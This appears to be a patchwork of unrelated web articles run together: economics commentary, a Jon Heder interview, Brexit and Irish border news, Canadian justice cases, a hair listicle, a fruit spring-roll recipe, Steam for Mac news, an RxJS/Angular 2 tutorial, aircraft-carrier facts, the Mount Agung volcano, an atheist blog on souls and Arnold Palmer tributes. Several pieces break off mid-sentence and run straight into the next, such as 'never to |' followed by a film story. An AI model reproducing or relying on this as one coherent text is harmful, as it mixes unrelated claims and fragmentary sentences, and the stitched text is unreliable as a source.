But now let’s look at the same data, but confine it to just people in their prime working years, aged 25 to 54—the seventh chart. This helps us strip out the surging ranks of older baby-boomers. It also strips out the ranks of those between the ages of 16 and 24, where increasing college attendance has been decreasing employment participation fairly steadily for at least 15 years. Both those groups can skew the numbers.
So when you look at this prime working-age population, you can see that, after the sharp collapse back in 2008, things have been improving steadily over the last few years, though there’s clearly still a way to go.
The wrong number to use anyway
Now, even if the US economy continues improving—as most expect—it doesn’t mean that labor-force participation will rebound. Rather, it’s likely to keep declining for at least the next 10 years, as the baby-boomers continue to age out of the workforce. (CBO estimates that labor force participation will be at 60.8% in 2024.)
Without another giant baby boom, it will most likely never to |
Bell) after she randomly picks out coins from the Fountain of Love in Rome, Italy. Beth also pockets coins tossed in by a sausage entrepreneur (DeVito), a male model (Shepard) and a painter (Will Arnett).
The men become obsessed with her.
As the interview with Heder progresses, he concedes some audience members may find his character creepy.
"When someone is chasing you and is in love with you that's stalker territory," he says.
"That's inherently creepy. Magicians, particularly street magicians, they have always been labelled kind of creepy.
"I was stoked to play a guy who was not only creeping you out, but was also after your heart."
The film's director Mark Steven Johnson was so impressed with Heder's performance he included the actor in some scenes shot in Rome. Originally the plan was to keep his character in New York.
"It was pretty rad," Heder said of the working trip to Rome.
"It was very cool. Originally I wasn't supposed to go, but I was so creepy and good they wrote me into the Rome scenes."
Away from the film set Heder lives a very un-Hollywood life.
The 32-year-old is a devout Mormon and says his life is void of alcohol, drugs and caffeine. He has been married to college sweetheart Kirsten for eight years and the couple has two young children.
In an era in Hollywood where studios are pumping out sequels - later this year we will see Sex and the City 2, Iron Man 2, Nanny McPhee 2, Wall Street 2, Toy Story 3, Twilight 3, Step Up 3, Shrek Forever After and big screen versions of old TV series like The A-Team - surprisingly a Napoleon Dynamite 2 has not been produced.
Heder is not 100 per cent behind a sequel, but does not rule it out.
"I don't know if it's a good thing," Heder says of a Napoleon Dynamite 2.
Asked why he does not think it is a good thing he struggles to come up with an answer
"I don't have any idea," he says.
"I think we are all old and frumpier now aren't we?
"But you never know.
"Our cards could be played right."Media playback is unsupported on your device Media caption Ireland's need for more detail "not an unreasonable ask"
Ireland's deputy prime minister has said his country has "no desire" to delay the UK's Brexit talks.
But Simon Coveney also warned that not enough progress had been made on the border with Northern Ireland.
While Ireland was not looking for "full detail", it was seeking the parameters within which a solution could be found.
His comments came ahead of a week of crucial decisions on whether the UK and EU would move ahead to the next phase of Brexit negotiations.
UK Prime Minister Theresa May is due to meet European Commission President Jean-Claude Juncker on Monday to assess whether sufficient progress has been made on three core issues of citizens' rights, the "divorce bill" and the future of the Irish border with Northern Ireland.
The 27 other member states will then meet on Wednesday to make a decision on going to a second phase of talks.
What does Ireland say about the border?
Mr Coveney has been heavily involved with Ireland's stance on Brexit since becoming the foreign minister during the summer.
He was also appointed as tánaiste - deputy prime minister - following the resignation of his colleague, Frances Fitzgerald, over a political row that threatened to bring down the government.
Speaking on the BBC's Andrew Marr Show, he said Ireland did not want to exercise its veto on the issue.
"There is no desire, I can tell you, in Ireland, to delay this process," he said.
"But at the same time, we have a responsibility as a government to represent the interests on the island of Ireland.
"We believe that, as an island, Ireland is uniquely vulnerable and exposed to a potential bad outcome from Brexit.
"That is why we are looking for more progress than we have."
Image copyright PA Image caption On Friday, EC President Donald Tusk (R) said Europe would stand by Ireland
He also denied suggestions, made by some UK politicians, that the issue was being used to pave the way for Irish unity. "That's simply not true," he said, adding that the government had maintained a consistent position for months.
He said he was very keen to avoid "a green versus orange debate" between unionism and nationalism. "Instead we're trying to protect the status quo."
"We cannot allow some kind of collateral damage or unintended consequence of Brexit to have the recreation of a border."
In June, the Democratic Unionist Party (DUP) signed a confidence-and-supply deal with the UK's minority Conservative government.
DUP deputy leader Nigel Dodds told the BBC there had been a much more aggressive stance on Brexit from the Irish government since Prime Minister Leo Varadkar and Simon Coveney had taken office.
He argued they wanted to dismiss technological solutions, which would prevent a hard border in Northern Ireland.
"They say none of that is acceptable. It has to be a political solution which involves the UK staying inside the single market or the customs union, or failing that Northern Ireland doing so," he added.
Meanwhile, former UK prime minister Tony Blair told the BBC that a hard border would "obviously" cause tensions that could put the Good Friday Agreement - a landmark in the Northern Ireland peace process - at risk.
Why is the May-Juncker meeting significant?
Mrs May's scheduled lunch with the head of the European Commission is widely seen as her chance to persuade the EU to move negotiations forward.
Along with the Irish border, other issues that the EU says must be agreed are the size of the UK's payment to the EU - the so-called divorce bill - and the status of EU nationals living in the UK.
Mr Juncker will also meet European lawmakers before his lunch with Mrs May, possibly to discuss the UK's offer on citizens' rights.
Progress on the "divorce bill" was made last week when it emerged that the UK had offered the EU a sum of up €50bn (£44bn).
Some Brexit supporters have complained that the sum is too high. The Leave Means Leave campaign group on Sunday issued an open letter to Mrs May, urging her not to settle the divorce bill without a series of agreed conditions.
Donald Tusk, President of the European Council, said on Friday the EU was "fully behind" Ireland's demand for no hard border on the island.
"The Irish request is the EU's request," he said, adding that he would consult the Irish prime minister before the next stage of Brexit talks.CTV Montreal
The Quebec Human Rights and Youth Rights Commission has asked the City of Montreal and two police officers to pay a former Concordia student $45,000 damages after she alleged she was illegally arrested and detained.
Amal Asmar said she was walking on Ste. Catherine St. after studying at the Concordia library late one night in 2010 when she sat down on a bench near Atwater while wearing a headscarf.
She said a police car pulled up in front of her and two officers began questioning her aggressively. She was then arrested and given more than $1,000 in fines, one of which was for using city property other than its intended use.
Amal sought help from the Centre for Research Action on Race Relations to file a complaint. After seven years, the city and police withdrew the fines, but the commission stated that Asmar was racially and socially profiled, awarding her the moral and punitive damages.
CRARR director Fo Niemi said the decision was precedent-setting since both social and racial profiling was acknowledged.
“She was sitting in the park… in an area where there’s known to be a lot of homeless or street people that look Inuit or Aboriginal,” he said. “The way she looked at the time, long frizzy hair, with a scarf, past midnight, she looked like the profile of a homeless woman.”
The city and police were given until last Friday to pay but failed to do so. Niemi said the case will now go to the Human Rights Tribunal and could take another six months to resolve.Sen. Mark Warner Mark Robert WarnerHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Addressing repair backlog at national parks can give Congress a big win MORE (Va.), the ranking Democrat on the Senate Intelligence Committee, will call President Trump’s firing of former FBI Director James Comey “utterly shocking” in his opening statement on Thursday.
“The way in which you were fired by the president is utterly shocking,” Warner will say, according to his prepared remarks.
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Warner adds that Trump's behavior needs to be addressed, regardless of the outcome of the investigation into possible ties between Trump's campaign and Russia.
“This is not how a President of the United States behaves,” he will say.
“Regardless of the outcome of our investigation into those Russia links, Director Comey’s firing and his testimony raise separate and troubling questions that we must get to the bottom of.”
Warner’s opening statement was released just before Comey's testimony to the Senate panel.
Then former FBI chief on Wednesday released his own opening statement, in which Comey says the president said he expected Comey’s loyalty and that Trump wanted him to “lift the cloud” surrounding the Russia investigation.22 More Hair Quirks Every Naturalista Can Relate To
I didn’t think it was possible. But somewhere between last year and this moment, I was able to conjure up 20 more natural hair quirks. Keep in mind, this list is for pure entertainment. You may or may not be able to relate to any of these things, but hopefully you’ll get a good chuckle out of the list regardless. Enjoy!
1. Candles lit, music is playing and you’re totally vibing…you bend down to pick up an item off the floor…your hair is now on FIRE. Don’t get too close to the flame folks. Your hair is larger than you think. (this actually happened to me once)
2. Your hair just isn’t doing the right thing this week, so you decide to wear all black everything until you can wash and style it to your liking again. It doesn’t deserve fancy attire.
3. You put your hair up into a chic protective style using Kanekalon braiding hair…now you have one lone bobby pin digging into your scalp. You carefully try to move your hair about to locate the demon pin, but end up destroying it in the process. Hey at least there’s nothing stabbing you in the head now.
4. People ask you how you got all of your hair into that cute and sleek top knot. They don’t know that it took 12 hair ties, 7 connected pony tails, 53.5 bobby pins, a gallon of Eco Styler gel and prayer to get it into that effortless looking little knot.
5. When a new natural tries to give you natural hair advice while you’re wearing your protective style you think “You have no idea what I’m capable of”.
6. You have a sixth sense…the ability to randomly wake up in the middle of the night every single time your scarf or bonnet slides off of your head.
7. You stay away from winter coats that have detachable Velcro hoods. Been there, done that, dag on near lost ya nape because of it.
8. Planning your wash day around major events is so necessary. People need to see you at your larger than life 3 day wash n go/twist out/braid out/bantu knot out/roller set. First day hair will never do.
9. It’s 11 p.m. and your hair still isn’t dry even though you’ve been under the dryer for an hour. You’re drunk with sleepiness, but you refuse to get up because if you do, it will be soggy hair central tomorrow. Better get comfortable. You can thank your butters and oils for this one.
10. You side eye every flying creature and pray that it doesn’t decide to get tangled in your fro…because if it does you’ll be bald. No one is going to pick out a giant wasp from their hair. Not today.
11. Wash day was put off for so long that when you finally do wash your hair, you’re afraid that you won’t have any hair left after you finish detangling that sucker.
12. You sit down and have a serious talk with your significant other when you discover that they’ve been using your hair care products.
13. Even though you’ve been natural for quite a while, you keep having that nightmare where you accidentally got a relaxer.
14. You have emergency shampoo, conditioner, and styling products just in case you slip up and forget to re‐up your good stuff.
15. You wake up some mornings, look at your hair and think “how am I going to pull this one off today”. But somehow you manage to turn that tragic bed head into a beautiful triumph.
16. Because your biceps and triceps are on point, people ask what kind of workouts you do. Meanwhile, your arms are only poppin’ because washing, detangling, twisting, braiding, and setting natural hair take some serious strength.
17. Your hair is a blind spot when trying to look to the side and behind you while driving.
18. Ferociously stomping on a ball of hair from your detangling session because you thought it was a gigantic spider. Oops.
19. You’re inspired by all the natural kids on social media and have dreams of styling your little one’s hair into a plethora of natural styles. In real life, your child hollers and screams as you try to shingle, twist and diffuse their hair. You think “No one has time for all this. You’re getting pony tails/a haircut”.
20. You walk past another natural on the street and give a secret smile. No need for conversation, ya’ll know what’s up.
21. At first you were one of the only ones in your family and social circle to return to natural. Everyone thought you were “going through” something when you big chopped. Now eons later, you have everybody and their mom asking you for natural hair advice. Listen, if you couldn’t accept me at my TWA, you don’t deserve me at my BAA.
22. It’s another year and you’re still yet holding on to your natural hair journey. Cheers to being natural and fabulous!
Can you relate to any of these quirks? Continue the list below.These fruit spring rolls with strawberries, kiwi, blueberries, and mango are the perfect dessert for hot summer days. I like them best with strawberry dipping sauce or chocolate sauce! They’re super healthy, 100 % vegan, gluten-free, and you don’t need any additional sugar. So yummy and easy!
Okay, I LOVE summer rolls. I just love how light and healthy they are, which makes them absolutely perfect for summer. I mean duh! They’re called SUMMER rolls. Haha! My vegan summer rolls with mango, mint, and peanut dipping sauce went absolutely crazy on Pinterest in the last couple of weeks. They’re one of the most popular recipes on the blog right now. And I think this is well deserved. They’re so DELICIOUS and super easy to make! We usually make these savory summer rolls about once or even twice a month. Sometimes I add smoked tofu or even BBQ tempeh. I guess it all depends on my mood or actually what’s in our fridge.
Fruit Spring Rolls – What You’ll Need
So last week I thought why not try sweet summer rolls?! I mean they’d make a great and easy vegan summer dessert. So I ended up with these fruit spring rolls with tons of fresh fruits and a strawberry dipping sauce instead of our usual peanut sauce. And boy, were they good!
I got a little crazy with the fruits! For the vegan fruit spring rolls you can see in the pictures I used:
kiwi
strawberries
blueberries
cherries
raspberries
oranges
mango
peach
star fruit
passion fruit
and mint
But of course you can use any fruits you like or even use less fruits than I did! Just get creative… They’re also amazing with chocolate sauce!!
Just cut everything up and roll it into rice paper rolls. That’s it! It’s really super easy…
And don’t they look amazing? I used a star-shaped cutter for the mango to make them even prettier. I don’t have kids yet, but I imagine this would be so much fun making with young children! WE even had lots of fun making them! I was at my parent’s house sitting their dog when I made them together with my brother.
Let me know if you give them a try. I always love seeing your Vegan Heaven creations on Instagram and reading your comments on the blog!
Have a great start into the new week, everyone!
Sina – xxSteam for Mac is poised to be released tomorrow. This morning, Valve Software released some eagerly-awaited details of the gaming platform. Details include the release schedule, which games will see the platform, and what developer tools will be made available for Steam for Mac.
Games for Steam for Mac will be released on subsequent Wednesdays following that platform’s launch, with each set of titles selected to demonstrate specific functionality of Steam for Mac. The first collection will highlight “Steam Play”, which allows the gamers to buy a single copy of a game and play it on either their PC or Mac platforms. Gamers who have previously bought games on Steam for PC will find those games freely downloadable on Steam for Mac as they become available.
Valve’s outstanding puzzle shooter Portal will not only be a part of “Steam Play”, but will also be the first of Valve’s catalog of games to come to Steam for Mac. Along with Portal comes the critically acclaimed Torchlight by Runic Games. The Diablo-esque hack and slash RPG will be a great game for Mac gamers that are limited to playing on a laptop without a mouse.
Finally, in a move that is sure to boost Steam for Mac growth, Valve is releasing their comprehensive Steamworks suite of publishing and development tools. The suite includes product key authentication, copy protection, auto-updating, social networking, matchmaking, anti-cheat technology, and more. These tools will be available to Mac developers for free.
Get your internet connections ready, Mac users. Tomorrow you will no longer “Think Different”, and begin to “Think Freeman”.Image copyright Edmonton Police Service Image caption The woman was stabbed all over her body by her attacker
Canadian officials have expressed outrage over the case of a homeless woman who was jailed after being raped and kept in prison with her attacker.
The indigenous woman, who is not being named, was brutally attacked in an Edmonton apartment in 2014.
She went to police but was jailed for not answering questions, and forced to testify while wearing leg shackles.
Alberta Justice Minister Kathleen Ganley has apologised to the woman's family and ordered an investigation.
"The facts of this case are disturbing and tragic, and when you add in the treatment of the victim in the system, they are almost incomprehensible," said Mrs Ganley, adding that "both policies and people failed in this case".
The woman had been kept in a holding cell next to her attacker for five days and transported to court with him, in the same van, CBC News was the first to report.
"I'm the victim and look at me, I'm in shackles," she told Alberta court Judge Raymond Bodnarek in 2015.
"You're going to go back to remand tonight," he replied, "so that we can get you back here tomorrow."
"Shackles," the 28-year-old woman angrily responded, according to court records. "Aren't you supposed to commit a crime to go to jail?"
She was ordered to a cell under a federal criminal law that allows witnesses to be detained if they refuse to answer questions, after she had had been having trouble focusing, and was falling asleep during the first day of testimony.
Image copyright Edmonton Police Service Image caption Her attacker approached her after finding her sleeping rough in a stairwell
The woman, who was a member of the Cree tribe, died in an unrelated shooting months after the attack.
Her attacker, Lance Blanchard, was convicted of aggravated sexual assault, kidnapping and unlawful confinement.
Justice Minister Ganley has set up a committee to recommend policies to prevent a similar situation.
"There weren't any policies in place to indicate she shouldn't have been shackled," Mrs Ganley said at a press conference after the CBC investigation.
"Now, that being said, I'm a little surprised that no one looked at the case and said that this isn't appropriate," she said, adding that the woman's race may have played a role in her treatment.
In addition to the committee, Mrs Ganley has also ordered an independent investigation.Welcome to the first stop on the Road To Angular 2! The new version of Angular isn’t as simple as the previous one. It introduces a lot of new, hot and trendy stuff, so you have to prepare yourself before reaching the final destination!
In this series we’ll introduce you to:
Reactive Programming
ES6 features
TypeScript
Main concepts of Angular 2 apps
Integrating Angular 2 with Symfony backend
Today I’m going to tell you about Reactive Programming using RxJS, are you ready? Let’s start!
RxJS – why? It isn’t Angular 2, right?
Angular 1 is famous for its simplicity. It includes a lot of necessary features, so we don’t have to use jQuery for XHR communication, for example. As a result, it doesn’t force us to include external libraries. The Angular team has changed their attitude. Microsoft technology (TypeScript) and RxJS are included in Angular 2. As you can see, we have to get to know these technologies before learning our favourite framework.
Reactive programming is a subject important not only for JavaScript Developers, but also for every developer who wants to include asynchronous events into their apps. Rx isn’t only for JavaScript. There are versions for.Net, Java, Python and many others. So, I’d like to encourage you to read this article even if you don’t know JavaScript.
Let’s dive in…
Callback vs Promise vs Observable
JavaScript is a language which offers a few approaches that support handling asynchronous events, so let me just remind you what the difference is between those methods.
If you feel comfortable with callbacks and promises you can simply skip this part.
Callback is technically a function which we pass as a parameter into another function, but what’s more important is that it isn’t executed immediately, but right after the parent function is complete. It gives us the freedom to manage asynchronous events as we want.
https://jsfiddle.net/q288pfb1/7/
As you can see in the example, we get data from the server using Ajax and we pass callback as a parameter. In the callback, we retrieve the response and pass objects to another function in which we insert some items into the list. Easy, right? Is it pretty? Nope!
Have you ever heard of callback hell? It looks like this:
It just isn’t readable.
I promise that there are better places to live in than Callback Hell, one of them – for sure – is Promise Heaven!
Of course we can deal with callback hell but it isn’t main topic of this article. You can read more here: http://callbackhell.com/
Most readability problems can be solved with promises. ES6 introduces the Promise object as an object in JavaScript. Before this, we had to deal with external libraries like jQuery which offered such objects.
A brief reminder. Promise has three states:
pending – when initializing object – “Hello, I really want to do something, I promise, but it can take some time, just wait”
fulfilled – after function has completed – “Hi! I finished my work and everything is alright, mate!”
rejected – meaning – “Something went wrong, sorry”
The same code, but written using Promise, looks like this:
https://jsfiddle.net/y9czkyoc/4/
To put it simply, Promise is an object which can be rejected or resolved. After fulfilling we can process returned data using the then() method. Promise is a set of callbacks under the hood. If you are interested in implementing it, I encourage you to read this article: https://www.promisejs.org/implementing/
As we are talking about Angular, promises are ubiquitous. When we want to get data using Ajax we use the $http service which returns… promise represented by $q object! Our Angular services often look like this:
http://plnkr.co/edit/rUmN1rwPA3795Hytw6R3?p=preview
When I sat down to Angular 2 without documentation, I was surprised that my then() function didn’t work with object returned from http service. What is more, the construction http.get() didn’t make a request. Then I realized that the returned object type is Observable.
Quoting the documentation: “The return value may surprise us. Many of us would expect a promise <that’s the point>. We’d expect to chain a call to then() […] Instead we’re calling a map() method. Clearly, this is not a promise.”
…and so it began… Angular 2 uses a special and trendy reactive way to solve asynchronous methods, which looks like this:
return this.http.get(thistechnologyUrl)
.map(res => res.json().data)
.catch(this.handleError);
Before I explain these lines of code, I want to describe what reactive programming means.
Remember React.js!== RxJS
Why does Angular 2 use RxJS? Are promises out of fashion?
A few years ago, web applications weren’t as interactive as they are now. Only asynchronous action was used with the form submit button. Now the situation is a bit different. Often, we want to use many asynchronous actions at the same time. The answer to this problem is reactive programming, which can deal with it. In this situation, we have to change our thinking. In reactive programming, everything is an asynchronous data stream. What does this mean?
It’s likely all of us have used an asynchronous data stream without even realizing it. Are you familiar with code like this?
object.addEventListener("click", function(){
// Do something after clicking
});
Yes? You often use it, and an asynchronous data stream is equal to such actions, but with additional features. We can say that this stream from reactive programming is an array which contains some values returned by a function over a period of time. As it is an array, it gives us a possibility to use the advantages of functional programming. Often, streams are illustrated like this:
On the top we have one timeline (representing the asynchronous data stream) on which there are some values generated by events. Below the top timeline there is a block representing the functions which, for example, map/filter this stream and return new stream with desirable data.
There are a few definitions you have to know before analysing the code:
Observer pattern – Technically, it is said that there are two types of objects: one of them is called Observable which sends signal/notification to objects called Observers. Observers can react to this signal.
In RxJS, subscribe is a method to listen (observer). The subscribe function gets 3 parameters which are callbacks. The first of them is called onNext and it is passed when value is emitted from Observable. The second one is onError which is passed when something goes wrong (for example status 500 from the server). The last parameter is onCompleted – it’s passed when a stream finishes work.
A lot of people claim that Observables are “lazy”, but what does that actually mean? As I said at the beginning, I was surprised when I wrote http.get() in Angular 2 and it didn’t make a request to the server. This is the difference between Observables and Promises.
I will illustrate it using a simple analogy:
Observables are like the guys who don’t “talk” when nobody wants to listen. They are ready to talk as long as somebody is interested in listening. What is more, they’re smart – and they stop talking when listeners signalise that they don’t want to listen anymore.
Promises think differently, they have only one thing to say and they have to hurry because their lives are short, so they start talking right after they’re born… ‘till they die. We cannot stop them.
Some code illustrating this analogy:
https://jsfiddle.net/wwLkvzbj/4/
Analyse this code and try to understand it. As you can see, promise started working at the beginning where it was declared, but observable started working when the first subscriber/listener appeared. Furthermore, values of observable change over time – different listeners have different values. Promise after resolve cannot be changed or cancelled but observable has these features.
If you aren’t convinced of using Observable you can still use promises in Angular 2. Basically, they convert observable into promise, so would it make sense? Maybe in some situations. This code shows how can you do it:
return this.http.get(this.technologiesUrl)
.toPromise() // This line convert Observable into promise
.then(res => res.json().data, this.handleError)
.then(data => { console.log(data); return data; });
Should we use RxJS in Angular only for server communication?
There are some cases where we can take advantage of reactive programming. It is a good idea when have a lot of asynchronous actions over which we want to have full control. Imagine that you’re writing a web IDE. You want to add autocompletion and hinting syntax. It isn’t good idea to make a request to server every time you fire event keydown – requests will kill your server and slow your application. In this situation, people will be punished for their fast writing and your startup will be ruined. What’s more, you plan to give clients useful shortcuts. There will be combinations of mouse and keyboard events (sometimes connected with request to the server). Using the traditional way you’ll have to:
add some variables to control state
manually take care of timeouts and clear them
spend time to manage code properly for shortcuts
Reactive programming can help you solve these problems. Try to think how you would do it with and without reactive programming. It’s a good exercise.
Conclusion
Reactive programming is difficult and it requires us to change the way we think about solving problems. The topic is so wide that I only managed to scratch the surface of RxJS in basic Angular 2 usage. I think the effort to understand reactive programming will be rewarded in the future.
Some recommended reading:
See you soon at the next stop, ES6 and TypeScript!The brand new Queen Elizabeth Class aircraft carriers are the largest warships ever built for the Roval Navy and have been under construction since 2009, and the lead ship HMS Queen Elizabeth is being commissioned today (7 December) in Portsmouth, in a ceremony attended by the Queen.
In 2020 the HMS will be planned deployment on Initial Carrier Strike Capability The identical sister ship, the HMS Prince of Wales, will follow three years later.
[Read more: Warship not vulnerable to cyber attack, Defence Secretary insists]
The two ships, which have been constructed at a combined cost of £6.2 billion, will replace the now-decommissioned HMS Ark Royal and HMS Illustrious. They will dock in Portsmouth and will be at the forefront of the UK’s military arsenal for the next half-century.
Here are some startling technical facts about these 21st century nautical marvels.
1. Both the HMS Queen Elizabeth and the HMS Prince of Wales have two propellers weighing 33 tonnes each. Combined they can output 80MW. That’s enough to power 50 high-speed trains.
2. The 280-metre long ships built by the Aircraft Carrier Alliance will have a top speed of 25 knots per hour and can travel 500 miles a day. They have a total range of 10,000 miles.
3. All that grunt is being provided by none other than Rolls-Royce; the 2 Marine Trent MT30 gas turbine generator units provide 48,000 horsepower.
4. The vessels have on-board water treatment plants capable of producing an incredible 500 tonnes of fresh water every single day. While this will quench the crew’s thirst, it is also paramount to the ships’ role of providing humanitarian relief at times of great crisis.
5. The ships’ Phalanx close-in weapons system will be capable of firing 3,000 rounds per minute at incoming adversaries.
6. There are 8,000km of fibre-optic cable on board as well as 250,000km of electrical cable. Members of the crew will have internet access on board the ship, which is handy considering deployments could be up to nine months long.
7. The long-range radar has the ability to track up to 1,000 aerial targets from up to 250 nautical miles away.
8. The Type 997 Artisan 3D medium range radar is capable of tracking a target the size of a snooker ball from 12-miles away.
9. Both ships feature a pair of aircraft lifts that can hoist two F-35 jets from the hangar to the deck in just 60 seconds. The lifts are so powerful they could lift the entire 679-strong crew.
10. The vessels have capacity for 36 of the brand new F35-B Lightning II fighter jets, although only 12 have been ordered so far. The stealth bombers have vertical landing capabilities and deck-landing trials will begin in 2018.
11. The on-board electrical distribution network will create enough energy to power 5,000 family homes.
[Read more: Best apps for military history fans]
12. The F35 bombers travel at speeds of Mach 1.6, can carry a 15,000lb payload and have a flight range of 900 miles. They’ll take off from a ‘Ski Jump’ ramp that’s six metres high and designed to withstand the same temperatures as a space shuttle
13. The Queen Elizabeth Class ships are the first warships to have a fully integrated waste management system. Designed by Babcock International, it “incorporates a range of technologies and processes for the collection, transfer, treatment, stowage and disembarkation of the various fluid and solid waste streams generated onboard the carriers, ensuring they are either benign and compatible with International Maritime Organisation (IMO) requirements for overboard discharge, or enabling them to be stored efficiently until landed.”
14. The new warships will be docked at HMNB in Portsmouth, where 14 new 30-metre high navigational beacons are being built. These lights will be powered by a combination of solar and battery power, but will only be lit when the ships are approaching or leaving their berths.
The video below shows a CGI representation of the HMS Queen Elizabeth.
Photo and video credit: BAE Systems
[Read more: Sabre hybrid rocket jet engine could fly to Australia in four hours]Bali airport is operating normally, but some airlines have cancelled their flights.
A volcano on the resort island of Bali has been spewing smoke hundreds of metres into the air, threatening a major eruption.
Mount Agung, Bali's highest volcano, clouded the air with smoke 1,500m above its summit, and the volcano's alert level remains at the second highest
Thousands of people living nearby had already been forced to flee over fears it would erupt when smoke filled the air on Tuesday.
The volcano last erupted in 1963, killing 1,600 people.
People living within 7.5km (4.5 miles) of the mountain have been told to evacuate, senior volcanologist Gede Suantika said.
Image: Farmers living near the base of the volcano have had to flee
Mass evacuations also took place in September when Mount Agung showed signs of erupting, forcing more than 120,000 from their homes.
Many had since returned after the volcano appeared to be calming, but fresh fears of eruption have caused more chaos for residents.
Around 25,000 people have been evacuated to more than 200 temporary shelters.
"We will continue to see eruptions like this on similar scales, but we cannot predict when Mount Agung will really erupt," Suantika told AFP.
Image: Increasingly frequent tremors stoke fears an eruption may be imminent
Bali's airport is operating normally, but some airlines have cancelled their flights.
Indonesia sits on the so-called Pacific Ring of Fire and has 127 active volcanoes - more than any other country.
Mount Sinabung on Sumatra island has been active since 2013 and is currently at its highest alert level.Did you know that the word “Soul” does not describe anything real? I do hope so. For religious folks it is supposed to be the incorporeal (and immortal) essence of you. There is in fact no consensus, some beliefs claim that only humans have soul’s while others suggest that all biological organisms have souls. There are even beliefs that assert that non-biological entities (such as rivers and mountains) possess souls. However, what is truly common to all is that none of them have any evidence for any of these claims … not one jot, nada, nothing at all.
Science writers sometimes also use the term, “soul”, but in context they are simply replacing the word “mind” with the word “soul” and are not suggesting a supernatural reality. In other words, they are being poetical.
What do we know?
Well, many have indeed attempted to measure and verify that “soul” was something real, but so far the success rate has been exactly zero.
Some parapsychologists have attempted to establish if the soul exists by scientific experiment. Milbourne Christopher in his book Search for the Soul (1979) explained that none of the attempts by parapsychologists have yet succeeded. OK, that was 1979, so is that still true? Yep, it sure is.
Search for the Soul: An Insider’s Report on the Continuing Quest by Psychics and Scientists for Evidence of Life After Death 1979
The French physician Hippolyte Baraduc claimed to have photographed the human soul using a camera
Problems of Psychical Research: Experiments and Theories in the Realm of the Supernormal 1921 pp. 185-186
Is that evidence then? Nope, professional photographers point out that the effect observed in his photographs can be caused by tiny pinholes in the bellows behind the lens of the camera.
There is also the famous 1907 weight measurements of patients as they died. This was done by Dr Duncan MacDougall, but of course nobody has reproduced this and so his claim is regarded as bunk, and yet I have on occasions heard believers cite this in very vague terms as “proof”. Such claims say a lot about the desperation to believe and very little about reality.
Anybody willing to exchange their soul for a cookie?
The latest news is that an atheist group is encouraging people to be a bit rational and think about whether or not they had a soul …
On Friday afternoon, members of Rekindle Reason, a campus atheist group, outdid Klondike. They offered Locust Walk passersby the chance to sign away their souls for chocolate chip cookies.
So how did they do? Quite well actually …
With a table and whiteboard on the Walk, group members claimed 13 souls in half an hour. Individuals “ |
the real reason for the ccurrent outage is. The wait has started, once again.
Update: Demonoid is responding (very slow) to some people, and the reason for the downtime seems to be a DDoS attack after all.Tiger Woods led the tributes to golfing legend Arnold Palmer, who has died aged 87.
Palmer, who won seven major championships during his career and was fondly nicknamed 'The King', died in Pittsburgh on Sunday afternoon.
Alastair Johnson, CEO of Arnold Palmer Enterprises, confirmed that Palmer died of complications from heart problems.
Johnson said Palmer was admitted to the hospital on Thursday for some cardiovascular work and weakened over the last few days.
One of golf's greatest players whose immense popularity drew a legion of fans known as 'Arnie's Army', Palmer brought the county club game to the masses just as television was coming of age.
'It's hard to imagine golf without you or anyone more important to the game than the King,' Woods tweeted on Sunday night.
Scroll down for video
Golfing legend Arnold Palmer (above, in April) died at the age of 87 on Sunday
'Thanks Arnold for your friendship, counsel and a lot of laughs,' he added.
'Your philanthropy and humility are part of your legend.'
In 2004 interview when Palmer played in his last Masters, Woods said: 'If it wasn't for Arnold, golf wouldn't be as popular as it is now.
'He's the one who basically brought it to the forefront on TV. If it wasn't for him and his excitement, his flair, the way he played, golf probably would not have had that type of excitement.
'And that's why he's the king.'
The USGA also paid tribute to Palmer, writing on Twitter: 'We are deeply saddened by the death of Arnold Palmer, golf's greatest ambassador, at age 87.'
Palmer's biographer James Dodson was also among those who paid tribute to the golfing great.
'We loved him with a mythic American joy,' Dodson said, according to Golfweek.
'He represented everything that is great about golf. The friendship, the fellowship, the laughter, the impossibility of golf, the sudden rapture moment that brings you back, a moment that you never forget, that's Arnold Palmer in spades.'
A young Arnold Palmer takes a swing for the camera around 1955 at an unknown golf course
Arnold Palmer holds the Claret Jug with his wife Winnie at the 1961 British Open Golf Championship. He was married to Winnie for 45 years until her death in 1999
Former House Speaker John Boehner wrote on Twitter: 'Arnold Palmer was a model of integrity, passion, and commitment.
'A great American who struck his way into history and our hearts.'
Palmer ranked among the most important figures in golf history - and it went well beyond his seven majors and 62 PGA Tour wins.
His good looks, devilish grin and go-for-broke manner made the elite sport appealing to one and all.
Beyond golf, Palmer was a pioneer in sports marketing, paving the way for scores of other athletes to reap in millions from endorsements.
Tributes to the golfer flooded in on Twitter from sports personalities such as Tiger Woods and Jason Sobel and politicians such as Condoleezza Rice
In 2005, Palmer married Kathleen (pictured together, above), who was with him when he died
Some four decades after his last PGA Tour win, he still ranked among the highest-earners in golf.
On the golf course, Palmer was an icon not for how often he won, but the way he did it.
He would hitch up his pants, drop a cigarette and attack the flags.
With powerful hands wrapped around the golf club, Palmer would slash at the ball with all of his might, then twist that muscular neck and squint to see where it went.
'When he hits the ball, the earth shakes,' Gene Littler once said.
Palmer rallied from seven shots behind to win a U.S. Open. He blew a seven-shot lead on the back nine to lose a U.S. Open.
He was never dull.
'I'm pleased that I was able to do what I did from a golfing standpoint,' Palmer said in 2008, two years after he played in his last official tournament. 'I would like to think that I left them more than just that.'
He left behind a gallery known as 'Arnie's Army,' which began at Augusta National with a small group of soldiers from nearby Fort Hood, and grew to include a legion of fans from every corner of the globe.
Tiger Woods is pictured standing behind Arnold Palmer at a Rolex media event ahead of the British Open golf championship on the Old Course in St. Andrews, Scotland on July 15, 2015
Palmer stopped playing the Masters in 2004 and hit the ceremonial tee shot every year until 2016, when age began to take a toll and he struggled with his balance.
It was Palmer who gave golf the modern version of the Grand Slam — winning all four professional majors in one year.
He came up with the idea after winning the Masters and U.S. Open in 1960. Palmer was runner-up at the British Open, later calling it one of the biggest disappointments of his career.
But his appearance alone invigorated the British Open, which Americans had been ignoring for years.
Palmer never won the PGA Championship, one major short of capturing a career Grand Slam.
But the standard he set went beyond trophies.
Palmer is seen smiling with his trophy and medal after winning the British Open Golf Championship by a single stroke in 1961
PALMER'S RECORD Masters - 1958, 1960, 1962, 1964 US Open - 1960 The Open - 1961, 1962 US PGA Championship - Palmer's best finish was 2nd in 1964, 1968 and 1970. He won 62 times on the PGA Tour to sit 5th in the all-time list.
